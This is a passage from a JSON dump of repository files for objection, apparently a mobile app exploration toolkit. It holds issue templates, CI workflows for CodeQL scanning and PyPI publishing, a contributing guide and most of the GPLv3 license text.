[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: \"[bug] Bug Description Here\"\nlabels: freshissue\nassignees: ''\n\n---\n\n- Please, fill in all of the sections in this template.\n- Please read each section carefully. Each has a description of what information will help.\n- Windows support is limited. There is a good chance that a pull request would help!\n- The more information you give, the better.\n- Remove this section when you are done.\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior:\n1. Run command '...'\n2. Run command '...'\n\n**Similar issues**\nPlease link the issues in this repository that is similar to yours.\n\nFor example: #358, #229 etc.\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Evidence / Logs / Screenshots**\nAny output from objection, such as stack traces or errors that occurred. Be sure to run objection with the `--debug` flag so that errors from the agent are verbose enough to debug. For example:\n\n```text\nobjection --debug explore\n```\n\n**Environment (please complete the following information):**\n - Device: [e.g. iPhone6]\n - OS: [e.g. iOS8.1]\n - Frida Version [e.g. 22]\n- Objection Version [e.g. 1.6.2]\n\n**Application**\nIf possible, please attach the target application where you can reproduce this bug to the issue.\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/workflows/codeql-analysis.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\nname: \"CodeQL\"\n\non:\n  push:\n    branches: [master]\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: [master]\n  schedule:\n    - cron: '0 7 * * 6'\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: ubuntu-latest\n\n    strategy:\n      fail-fast: false\n      matrix:\n        # Override automatic language detection by changing the below list\n        # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python']\n        language: ['python', 'javascript']\n        # Learn more...\n        # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v4\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v3\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file. \n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n        # queries: ./path/to/local/query, your-org/your-repo/queries@main\n\n    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@v3\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 https://git.io/JvXDl\n\n    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines\n    #    and modify them (or add more) to build your code if your project\n    #    uses a compiled language\n\n    #- run: |\n    #   make bootstrap\n    #   make release\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v3\n"
  },
  {
    "path": ".github/workflows/pypi.yml",
    "content": "name: Release to PyPi\n\non:\n  push:\n    tags:\n      - '*'\n\njobs:\n  pypi:\n    name: Publish to PyPI\n    runs-on: ubuntu-latest\n    environment:\n      name: pypi\n    permissions:\n      id-token: write\n      contents: read\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v5\n      - name: Ensure node for agent\n        uses: actions/setup-node@v4\n        with:\n          node-version: '24'\n          cache: npm\n          cache-dependency-path: agent/package-lock.json\n      - name: Install uv\n        uses: astral-sh/setup-uv@v6\n      - name: Set tagged version\n        run: |\n          VERSION=\"$GITHUB_REF_NAME\"\n          uv version \"$VERSION\"\n      - name: Build Agent\n        run: cd agent && npm ci\n      - name: Build\n        run: uv build\n      - name: Publish\n        run: uv publish\n"
  },
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib64/\nparts/\nsdist/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*,cover\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# extra\nsettings.ini\npython/\n.idea/\n.DS_Store\n\n# Ignore the compiled agent.\nobjection/agent.js\n"
  },
  {
    "path": ".python-version",
    "content": "3.14\n"
  },
  {
    "path": ".vscode/settings.json",
    "content": "{\n    \"editor.tabSize\": 2\n}\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to Objection\n\nFirst off, thanks for taking the time to contribute! 🎉💥\n\nThe following are some simple guidelines for contributing to the project. Before you get started though, it is highly recommended that you read the Wiki article entry available [here](https://github.com/sensepost/objection/wiki/Hacking) to get an idea of how the project is put structured and to learn about the various components.\n\nFinally, when submitting your pull request, please try and be as descriptive as possible about what is changing/is fixed. Ideally, including tests greatly helps facilitate this process.\n\nThanks! 🤘\n\n## Code Structure\n\nObjection consists of two major parts. The Python command line environment and the TypeScript agent. Both of these parts live in this single, monorepo.\n\n- The Python command line lives [here](https://github.com/sensepost/objection/tree/master/objection).\n- The TypeScript agent lives [here](https://github.com/sensepost/objection/tree/master/agent).\n\n## Environment Setup\n\nWhether you want to contribute to the TypeScript agent or the Python command line, both components would require some setup.\n\n### Python Command Line\n\nAny Python 3 environment should do, but we recommend you use the latest version of Python. To satisfy all of the dependencies that you may need, install those defined in the [`requirements-dev.txt`](https://github.com/sensepost/objection/blob/master/requirements-dev.txt) file in the project's root. This would make all of the code dependencies available, as well as some useful debugging helpers.\n\n### TypeScript Agent\n\nThe objection agent is written using TypeScript 3. It is recommended that you download [Visual Studio Code](https://code.visualstudio.com/) for agent development given the excellent TypeScript support that it has.\n\nFor more information on developing for the agent, please see the Wiki article [here](https://github.com/sensepost/objection/wiki/Agent-Development-Environment).\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper 